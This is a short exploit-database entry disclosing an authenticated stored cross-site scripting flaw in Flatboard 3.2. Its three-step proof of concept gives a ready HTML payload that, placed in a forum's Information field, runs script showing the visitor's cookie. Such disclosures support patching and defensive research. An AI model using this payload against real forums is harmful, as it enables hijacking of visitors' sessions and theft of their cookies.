Flatboard 3.2 stored crosssite scripting (xss) (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-06-26 | Type : webapps | Platform : php

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# Exploit Title: Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2024-06-23
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://flatboard.org/
# Version: 3.2
# PoC:

1-Login admin panel , go to this url : https://127.0.0.1//Flatboard/index.php/forum
2-Click Add Forum and write in Information field your payload : "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>
3-Save it , you will be payload will be executed